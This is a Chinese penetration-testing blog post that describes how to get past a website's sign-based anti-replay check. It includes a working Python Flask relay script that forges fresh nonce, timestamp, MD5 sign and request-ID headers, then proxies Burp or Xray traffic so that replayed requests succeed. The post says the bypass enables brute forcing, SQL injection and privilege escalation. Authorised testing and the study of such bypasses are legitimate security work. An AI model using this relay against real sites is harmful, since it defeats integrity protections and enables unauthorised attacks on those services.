突破sign签名校验实现请求重放

对于安全性较高的网站,通常会用到sign签名来实现多重验证,常见的有:

  1. sign对加密密钥验证(后面会介绍)
  2. 通过sign对请求重放验证(该文章重点介绍sign请求重放验证)

在渗透测试中,重放数据包是非常重要的测试条件,大多数功能都需要通过重放来测试,像爆破、sql注入、篡改参数实现越权等等;而开发者通常采用的限制方法就是禁止请求重放

有些网站每次请求通过增加随机nonce请求头来校验限制请求重放,我们首先可以测试修改nocnce的植来测试是否能够绕过限制,在这次案例中并不能绕过,在以前的渗透测试中我确实有碰到过修改nonce就可以绕过重放

案例:请求重放失败

在该案例中我们可以看见有sign值,同时还有timestamp、X-CTG-Request-ID、X-Request-Time等等,熟悉sign签名的都知道,这些值都会与sign有关联的。这些值每次请求都是不一样的,我们更改数据包重放请求的时候这些值不会变,就会导致重放失败,当然随机修改值也是无效的,比如我修改sign的值提示了签名信息不正确

而后端怎么校验我们是不知道的,我们只需要知道一点:后端校验的这些值都是前端发送过去的,这些值肯定都是在前端生成的,我们只需要找到这些值的生成方法,在每次请求中使用我们自己生成的值即可绕过

1、前端搜索关键字,找到生成方式,通过前端我们就可以分析到每个请求头的生成方式,对于懂JS的人就会相当简单(需要JS基础,后续有时间我会详细分析,这里就不再分析了)

2、根据每个请求头的生成方式用python编写请求中转脚本(只要是处理bp的请求,接收bp的每个请求,自动在请求包的HTTP头中添加指定的请求头信息,比如随机的sign,再向目标 URL 发送请求,最后将响应结果返回给bp展示,以达到绕过重放)

使用flask框架

复制代码
import hashlib
import json
import uuid
from datetime import datetime

import requests
from flask import Flask, request

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False


# 请求处理
@app.before_request
def incoming_request():
    header = dict(request.headers.items())

    nonce = uuid.uuid4()
    timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')
    sign_plain = "timestamp=" + timestamp + "&nonce=" + str(nonce) + "&seed=itms"
    sign_md5 = hashlib.md5(sign_plain.encode()).hexdigest()

    header['Nonce'] = str(nonce)
    header['Timestamp'] = timestamp
    header['Sign'] = sign_md5
    header['X-Ctg-Request-Id'] = str(uuid.uuid1())
    header['X-Request-Time'] = str(int(datetime.now().timestamp() * 1000))

    re = requests.post(url=request.url, headers=header, data=request.data)
    re.encoding = 'utf-8'
    try:
        json.loads(re.content)
    except ValueError:
        return re.content
    return re.json()

# X-Ray代理转发到这里
# app.run(host='127.0.0.1', port=xxxx, debug=True)
# Burp代理转发到这里
app.run(host='127.0.0.1', port=12450, debug=True)

bp设置上层代理

然后就可以愉快的请求重放了

未处理的重放失败

处理过的重放成功

同时在脚本日志也可以看到请求

相关推荐
上海云盾商务经理杨杨24 分钟前
Tomcat 弱配置漏洞渗透实战!批量 getshell 高频漏洞
java·web安全·tomcat
MindUp29 分钟前
企业网盘选型的技术评估维度与主流产品架构简析
人工智能·安全·架构
生活皆是风景36 分钟前
抢占AI采信,问答布局正当时
大数据·安全·搜索引擎
猎嘤一号14 小时前
博弈论(Game Theory)的理论、算法与工程
人工智能·算法·安全·博弈论
观远数据16 小时前
当ChatBI遇上数据合规:AI+BI规模化落地的安全边界如何划定
大数据·人工智能·安全
YYJ-F17 小时前
Anthropic——AI安全人工智能研究公司,核心产品Claude Code辅助编程
人工智能·安全
还是奇怪17 小时前
Agent 安全事件成为本周核心风险信号,从三起越界评测到 Hugging Face 入侵
人工智能·web安全·大语言模型·anthropic
山东科恩光电17 小时前
安全触边系统在工业设备运行中的安全保障与应用分析
安全
迪康Defender18 小时前
终端邮件安全全覆盖:规则、关键词、附件白名单配置大全
大数据·人工智能·安全
笨鸟先飞,勤能补拙19 小时前
网络安全等级保护 2.0:从定级备案、建设整改到持续合规的系统指南
网络·人工智能·windows·安全·web安全·网络安全·github